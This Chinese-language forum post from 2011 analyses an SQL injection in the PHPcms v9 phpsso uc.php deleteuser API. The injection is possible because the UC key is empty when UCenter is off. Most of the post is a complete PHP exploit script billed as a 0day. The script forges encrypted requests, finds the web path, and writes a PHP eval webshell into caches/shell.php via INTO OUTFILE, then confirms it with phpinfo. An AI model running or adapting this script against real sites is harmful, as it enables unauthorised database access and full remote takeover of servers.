## [2011-10-26 13:13:42](http://bbs.wolvez.org/viewtopic.php?pid=890" \l "p890)

漏洞分析：

1.未启用ucenter服务的情况下uc\_key为空

define('UC\_KEY', pc\_base::load\_config('system', 'uc\_key'));

2. deleteuser接口存在SQL注入漏洞，UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。

    public function deleteuser($get,$post) {  
        pc\_base::load\_app\_func('global', 'admin');  
        pc\_base::load\_app\_class('messagequeue', 'admin' , 0);  
        $ids = new\_stripslashes($get['ids']);  
        $s = $this->member\_db->select("ucuserid in ($ids)", "uid");

SQL语句为

SELECT `uid` FROM `phpcmsv9`.`v9\_sso\_members` WHERE ucuserid in ($ids)

利用代码，随便拼了个EXP，找路径正则写得很挫有BUG，没有注其他表了，懒得改了，MYSQL有权限的话直接get webshell

<?php

print\_r('

---------------------------------------------------------------------------

PHPcms (v9 or Old Version) uc api sql injection 0day

by rayh4c#80sec.com

---------------------------------------------------------------------------

');

if ($argc<3) {

print\_r('

---------------------------------------------------------------------------

Usage: php '.$argv[0].' host path OPTIONS

host: target server (ip/hostname)

path: path to phpcms

Options:

-p[port]: specify a port other than 80

-P[ip:port]: specify a proxy

Example:

php '.$argv[0].' localhost /

php '.$argv[0].' localhost /phpcms/ -p81

php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80

---------------------------------------------------------------------------

');

die;

}

error\_reporting(7);

ini\_set("max\_execution\_time",0);

ini\_set("default\_socket\_timeout",5);

function quick\_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy\_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function send($packet)

{

global $proxy, $host, $port, $html, $proxy\_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg\_match($proxy\_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

$parts[1]=(int)$parts[1];

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

}

$host=$argv[1];

$path=$argv[2];

$port=80;

$proxy="";

for ($i=3; $i<$argc; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=(int)str\_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str\_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey\_length = 4;

$key = md5($key ? $key : '');

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey\_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey\_length): substr(md5(microtime()), -$ckey\_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);

$key\_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64\_decode(substr($string, $ckey\_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string\_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key\_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

for($a = $j = $i = 0; $i < $string\_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str\_replace('=', '', base64\_encode($result));

}

}

$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";

$SQL = urlencode(authcode($SQL, "ENCODE", ""));

echo "[1] 访问 http://".$host.$p."phpsso\_server/api/uc.php?code=".$SQL."\n";

$packet ="GET ".$p."phpsso\_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";

$packet.="User-Agent: Mozilla/5.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

send($packet);

if(strpos($html,"MySQL Errno") > 0){

echo "[2] 发现存在SQL注入漏洞"."\n";

echo "[3] 访问 http://".$host.$p."phpsso\_server/api/logout.php \n";

$packet ="GET ".$p."phpsso\_server/api/logout.php"." HTTP/1.0\r\n";

$packet.="User-Agent: Mozilla/5.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

send($packet);

preg\_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso\_server[\/\x5c]/',$html, $matches);

//print\_r($matches);

if(!empty($matches)){

echo "[4] 得到web路径 " . $matches[0]."\n";

echo "[5] 尝试写入文件 ". str\_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";

$SQL = "time=999999999999999999999999&ids=1)";

$SQL.=" and 1=2 union select '<?php eval($"."\_REQUEST[a]);?>' into outfile '". str\_replace("\\","/",$matches[0]) ."caches/shell.php'#";

$SQL.="&action=deleteuser";

$SQL = urlencode(authcode($SQL, "ENCODE", ""));

echo "[6] 访问 http://".$host.$p."phpsso\_server/api/uc.php?code=".$SQL."\n";

$packet ="GET ".$p."phpsso\_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";

$packet.="User-Agent: Mozilla/5.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

send($packet);

if(strpos($html,"Access denied") > 0){

echo "[-] MYSQL权限过低 禁止写入文件 :(";

die;

}

echo "[6] 访问 http://".$host.$p."phpsso\_server/caches/shell.php"."\n";

$packet ="GET ".$p."phpsso\_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";

$packet.="User-Agent: Mozilla/5.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

send($packet);

if(strpos($html,"<title>phpinfo()</title>") > 0){

echo "[7] 测试phpinfo成功！shell密码是a ! enjoy it :)";

}

}else{

echo "[-]未取到web路径 :(";

}

}else{

echo "[\*]不存在SQL注入漏洞"."\n";

}